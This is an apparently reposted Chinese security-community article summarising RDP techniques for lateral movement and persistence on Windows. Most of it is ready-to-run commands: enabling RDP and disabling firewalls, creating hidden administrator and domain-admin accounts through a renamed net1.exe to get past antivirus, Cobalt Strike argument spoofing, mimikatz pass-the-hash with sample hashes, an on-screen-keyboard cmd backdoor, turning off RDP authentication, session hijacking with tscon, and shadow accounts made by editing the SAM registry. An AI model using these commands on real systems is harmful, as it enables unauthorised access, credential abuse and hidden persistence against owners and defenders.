点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
添加星标不迷路
由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦
1.查询开放的端口
在有些情况下,默认的远程桌面端口3389会被修改。
1.1获取远程桌面服务进程id
tasklist /svc | findstr TermService #获取到远程桌面进程号
远程登录查看目标进程,需要知道账户与密码
tasklist /S 172.16.1.15 /U administrator -P Lims@1234 /svc|findstr TermService
如果查询不到可能目标没有开启(一般这个服务是默认开启的,除非手动修改过)
查看服务:sc query termservice
启动服务:net start termservice
如果开启则不建议重启服务,会导致远程桌面服务彻底不能用
runing代表启动中
停止服务
1.2通过pid获取端口
netstat -ano | findstr 512#查看进程id为512开放的端口
2.开启允许远程连接
方法1
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
方法2
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
方法3 适于 Windows 7、8、10,server 2008、2012、2016
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
方法4 # 适于 Windows xp、server 2003
wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
方法3与方法4是没有被杀软提示
判断是否开启
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
0x0表示开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' list full
回显AllowTSConnections=1则开启成功
如果连接不到,可能防火墙没有开放端口,可以直接开启3389端口或者关闭防火墙(如果走reg代理,socks5本机代理可以不用关闭),不会报毒
开放3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
关闭全部防火墙:netsh advfirewall set allprofiles state off
注:wmic还可以远程登录开启服务。
先获取ServerName的值
wmic /node:192.168.18.135 /user:godadministrator /password:admin123 RDTOGGLE list full
开启 修改下面的ServerName为上面的值
wmic /node:192.168.18.135 /user:godadministrator /password:admin123 RDTOGGLE WHERE ServerName='DESKTOP-NB7U70T' call SetAllowTSConnections 1
判断是否开启
wmic /node:192.168.18.135 /user:administrator /password:admin123 RDTOGGLE WHERE ServerName='DESKTOP-NB7U70T' list full
3.这时候你就可以看到管理员用户又多了一个:
net localgroup administrators
3.添加用户
3.1绕过火绒操作
注意下面命令不能在powershell中运行。此方法不过360
3.1.1添加隐藏管理员用户
copy C:WindowsSystem32net1.exe test.txt
test.txt user #若有回显则饶过成功
test.txt user test$ Test360. /add
test.txt localgroup administrators test$ /add
3.1.2激活guest(游客用户),添加管理员
激活游客身份,隐蔽性更高
copy C:WindowsSystem32net1.exe test.txt
test.txt user guest /active:yes
test.txt user guest Test360. #设置密码
test.txt localgroup administrators guest /add
3.1.3激活超级管理员用户
copy C:WindowsSystem32net1.exe test.txt
test.txt user administrator /active:yes
test.txt user administrator Test360. #设置密码
3.1.4添加域管理员
copy C:WindowsSystem32net1.exe test.txt
添加域用户
test.txt user test$ Test360. /add /domain
添加域用户为域管理员组
test.txt group "Domain Admins" test$ /add
查看域管理员列表
test.txt group "Domain Admins"
添加企业管理员
使用界面添加
Enterprise
3.1.4删除用户
test.txt user test$ /delete
3.2绕数字添加用户
此方法不过火绒
需要上线到cs
使用Cobalt Strike自带的参数污染创建用户
3.2.1创建参数污染
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#查看污染的参数
argue
#用污染的net1执行敏感操作,execute无回显
execute net1 user test$ Test360. /add
execute net1 localgroup administrators test$ /add
4.NTLM传递登录
测试,2012可以直接传递成功,高版本需要修改注册表
使用mimikatz
进行pth打开mstsc
需要管理员权限运行mimikatz
privilege::debug
#有域环境下
sekurlsa::pth /user:administrator /ntlm:3766c17d09689c438a072a33270cb6f5 /domain:dome "/run:mstsc.exe /restrictedadmin /v:192.168.1.1"
#工作组环境下
sekurlsa::pth /user:admin /ntlm:3008c87294511142799dca1191e69a0f /domain:workgroup "/run:mstsc.exe /restrictedadmin /v:192.168.18.136"
会弹出一个远程桌面窗口不用输入账户密码,直接连接既可
如果遇到如下情况:
需要想办法能够命令执行下面代码
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
5.权限维持-屏幕键盘后门
平时大多设置Shift粘滞键后面,但测试时发现,可能会启动不了。不如屏幕键盘后面舒适。
5.1修改cmd.exe为osk.exe
在测试发现,修改c:windowssystem32下的文件需要TrustedInstaller权限
自从 Windows Vista 以来,为了提升安全性,微软对于权限的把控越来越紧。为了对抗恶意软件随意修改系统文件,Trustedinstaller 应运而生。TrustedInstaller 是从 Windows Vista 开始出现的一个内置安全主体,它的本体是“Windows Modules Installer”服务。
它的全名是:NT SERVICETrustedInstaller。这其实是 NT 服务,并非一个实际存在的用户组。所以无法添加用户到里面。并且system权限也无法修改。
5.1.1修改osk的权限
windows server系列操作包括win7比较简单
只要修改权限权限既可
takeown /f c:windowssystem32osk.exe* /a /r /d y
cacls c:windowssystem32osk.exe /T /E /G administrators:F
win10时修改可能会显示成功后又失败,但已经修改成功了。
5.1.2修改cmd.exe为osk.exe
move C:WindowsSystem32osk.exe C:WindowsSystem32osk1.exe
copy C:WindowsSystem32cmd.exe C:WindowsSystem32osk.exe
验证输入osk.exe进入cmd中
5.2设置为在建立rdp连接时不进行身份验证
在有些windows 早期版本是先建立rdp连接然后再验证,后来修改为先验证身份在建立连接。
开启这个作用就是先进行rdp连接,不用输入账户密码
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
然后在右下角
点击后可能有点卡顿,等待一会既可
但无法在windows server 2008后远程桌面好像无法使用tscon进行切换,否则会电脑会卡死。
能进行命令执行进行维权就行。
6.桌面会话切换,免密登录
注意:windows server 2008以后好像不行了,会卡死电脑进行。
如果多个用户登录,可以使用tscon在多用户之间进行切换。默认是需要密码的。但如果 可以获取system权限则可以绕过。
实战中,可以先创建一个管理员用户,然后再获取system权限后,使用此方法进行切换,达到在不知道超级管理员密码前提下登录。
6.1获取system权限
使用pstool中的psexec.exe
在管理员窗口下运行则会弹出一个system权限的会话
本地管理员提权到system
psexec.exe -i -s cmd
6.2查询桌面会话
query session
在不获取到system权限下提示:
6.3使用tscon切换
tscon id
6.4ladon一键切换
这个方法不用提权到system。只要使用管理员权限打开就行
先使用query session 获取会话id
然后切换
Ladon RDPHijack 3 console
7.影子账户
假设以administrator
为对象创建影子账户。
创建的test$
影子账户是独立拥有自己的密码,但登录是以administrator
身份登录。whoami
显示也是。
7.1制作隐藏用户
net user test$ Aa136. /add
net localgroup administrators test$ /add
创建成功后使用net user命令无法查看到此用户
但是管理用户页面还是可以看到,需要通过修改注册表来隐藏。
7.2修改注册表隐藏
打开注册表:计算机HKEY_LOCAL_MACHINESAMSAM
修改SAM
权限,赋予adminitrators
完全控制权限。
3.将Administrator
用户对应项的F数据值复制到test$
用户对应项的F数据值。
先获取administrator
中f的键:1f4
然后复制f的值给test$
的对应的f
然后把test$
项导出注册表,还有teset$
对应的0x3eb
项导出,右键点击导出
删除用户
net user test$ /del
重新导入上面导出的两个注册表
regedit /s test.reg
regedit /s test1.reg
添加test$到adminstrators组
net localgroup administrators test$ /add
这时用户管理中就看不到test$
用户
独立拥有自己的密码,但登录是以administrator
身份登录。whoami
显示也是。
注意:在登录页面还是能看到用户的。
双设置成false
欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】
#
企业简介
赛克艾威 – 专注政企安全服务
北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,提供全面的安全解决方案和专业的技术服务,帮助客户保护数字资产和网络环境的安全。
安全评估|渗透测试|漏洞扫描|安全巡检
代码审计|钓鱼演练|应急响应|安全运维
重大时刻安保|企业安全培训
联系方式
电话|010-86460828
官网|http://www.secevery.com
关注我们
公众号:sechub安全
哔哩号:SecHub官方账号
原文始发于微信公众号(SecHub网络安全社区):总结 | 横向渗透中RDP利用姿势全总结